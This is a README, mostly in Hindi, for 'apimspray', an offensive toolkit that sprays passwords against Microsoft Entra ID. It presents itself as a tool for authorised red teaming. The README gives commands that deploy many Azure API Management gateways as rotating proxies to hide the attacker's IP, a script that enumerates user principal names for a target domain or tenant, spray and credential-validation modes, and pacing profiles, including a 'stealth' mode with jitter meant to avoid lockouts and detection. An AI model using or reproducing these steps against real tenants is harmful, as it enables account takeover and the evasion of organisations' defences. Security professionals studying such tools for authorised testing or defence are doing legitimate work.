
Azure apim mini proxy
apimspray एक विशेष Entra ID पासवर्ड स्प्रेइंग टूलकिट है जो अधिकृत सुरक्षा अनुसंधान और रेड टीमिंग के लिए डिज़ाइन किया गया है। यह Azure API Management (APIM) गेटवे को IP रोटेशन के लिए एक वितरित, घूर्णनशील प्रॉक्सी परत के रूप में उपयोग करता है।
इस प्रोजेक्ट के बारे में अधिक जानकारी के लिए ब्लॉग पोस्ट पढ़ें।
az): रोटेटर स्क्रिप्ट के लिए आवश्यक है ताकि संसाधन तैनात किए जा सकें। (स्क्रिप्ट को क्ली सत्र से निष्पादित करें जो पहले से az cli में प्रमाणित है या Azure Cloud Shell का उपयोग करें)pip install -r requirements.txt
az login
apimspray को सीधे प्रमाणित Azure वातावरण से चलाएँ।
git clone https://github.com/crtvrffnrt/apimspray.git
cd apimspray
python3 apimspray.py --help
विभिन्न स्थानों में एकाधिक APIM गेटवे तैनात करें
python3 apimspraycreate.py --count 5 --outfile urls.txt
जर्मनी वेस्टसेंट्रल और वेस्टयूरोप में 33 APIM इंस्टेंस तैनात करता है और urls.txt में सहेजता है
python3 apimspraycreate.py --location germanywestcentral,westeurope --count 33 --outfile urls.txt
apimspraycreate CLI संदर्भ:
usage: apimspraycreate.py [-h] --outfile OUTFILE [--count COUNT] [--location LOCATION] [--prefix PREFIX] [--realm-prefix REALM_PREFIX] [--delete-old]
apimspraycreate - Azure APIM Deployer
options:
-h, --help show this help message and exit
--outfile OUTFILE Output file for URLs
--count COUNT Number of instances
--location LOCATION Comma-separated APIM location(s) to deploy into. When provided, only those regions are used and the first location is used for the resource group.
--prefix PREFIX API URL prefix
--realm-prefix REALM_PREFIX
Realm API prefix
--delete-old Delete old resource groups
महत्वपूर्ण: सभी विधियों के लिए, आपके पृष्ठभूमि में एक सक्रिय az सत्र होना चाहिए (az login)।
सुनिश्चित करें कि आपके पास आपकी लक्ष्य सूचियाँ तैयार हैं:
users.txt: UserPrincipalNames की सूची (जैसे, [email protected])।passwords.txt: स्प्रे करने के लिए पासवर्ड की सूची।यदि आपके पास उपयोगकर्ता सूची नहीं है, तो आप सहायक स्क्रिप्ट generate_upns.py का उपयोग कर सकते हैं। यह उपकरण:
users.txt में सहेजता है।उपयोग:
# एक विशिष्ट डोमेन या टेनेंट ID के लिए users.txt जनरेट करें
python3 generate_upns.py --target example.com
# या Tenantid का उपयोग करके
python3 generate_upns.py --target 00000000-0000-0000-0000-000000000000
generate_upns CLI संदर्भ:
usage: generate_upns.py [-h] --target TARGET
Generate UPNs from connected Azure Tenants and Service Accounts.
options:
-h, --help show this help message and exit
--target TARGET Target Domain (e.g., example.com) or Tenant UUID
usage: apimspray.py [-h] [--urls URLS] [--users USERS] [--passwords PASSWORDS] [--output OUTPUT] [--tenant TENANT] [--domain DOMAIN] --mode {spray,validate} [--pace {stealth,low,mid,medium,high}]
[--continue-on-success]
apimspray - Entra ID Assessment Tool
options:
-h, --help show this help message and exit
--urls URLS Path to APIM URLs file (from apimspraycreate.py or apimsprayrotator.sh)
--users USERS Path to users file
--passwords PASSWORDS
Path to passwords file
--output OUTPUT Output directory
--tenant TENANT Tenant ID or Domain
--domain DOMAIN Append domain to users if missing
--mode {spray,validate}
Operation mode. 'spray' tests all passwords against all users (1:N). 'validate' performs 1:1 credential pair testing.
--pace {stealth,low,mid,medium,high}
Pacing profile for requests and lockout management:
- high: 15 workers, 0.1s delay, 10 passes/chunk, 5m lockout, 20 safe threshold
- medium: 5 workers, 1.0s delay, 5 passes/chunk, 10m lockout, 10 safe threshold, 10% jitter
- low: 2 workers, 5.0s delay, 2 passes/chunk, 15m lockout, 5 safe threshold, 20% jitter
- stealth: 1 worker, 30.0s delay, 1 pass/chunk, 20m lockout, 1 safe threshold, 40% jitter
--continue-on-success
Continue the assessment even after finding valid credentials.
validate: user:password जोड़ियों की एक सूची की जाँच करता है। समान लंबाई की सूची आवश्यक है।
python3 apimspray.py --urls urls.txt --mode validate --users u.txt --passwords p.txt
spray: एक पासवर्ड को सभी उपयोगकर्ताओं के विरुद्ध आज़माता है, फिर प्रतीक्षा करता है (यदि कॉन्फ़िगर किया गया हो), फिर अगले पासवर्ड पर चला जाता है।
python3 apimspray.py --urls urls.txt --mode spray --users users.txt --passwords common_passwords.txt --pace medium
--pace तर्क स्प्रे की आक्रामकता को नियंत्रित करता है। मान स्थिरता और सुरक्षा सुनिश्चित करने के लिए हार्डकोडेड हैं।
AADSTS50053), तो उपकरण तुरंत बंद हो जाता है।परिणाम results/<timestamp>/ निर्देशिका में संग्रहीत किए जाते हैं:
valid_*.txt: सफल प्रमाणीकरण (MFA आवश्यक या टोकन प्राप्त)।blocked_*.txt: लॉक या सशर्त रूप से अवरुद्ध खाते।failed_*.txt: अमान्य क्रेडेंशियल या उपयोगकर्ता नहीं मिला।| प्रोफ़ाइल | कार्यकर्ता | विलंब | गणना (चंक) | लॉकआउट प्रतीक्षा | सुरक्षित सीमा | जिटर |
|---|
high | 15 | 0.1s | 10 | 5m | 20 लॉक | 0% |
medium | 5 | 1.0s | 5 | 10m | 10 लॉक | 10% |
low | 2 | 5.0s | 2 | 15m | 5 लॉक | 20% |
stealth | 1 | 30.0s | 1 | 20m | 1 लॉक | 40% |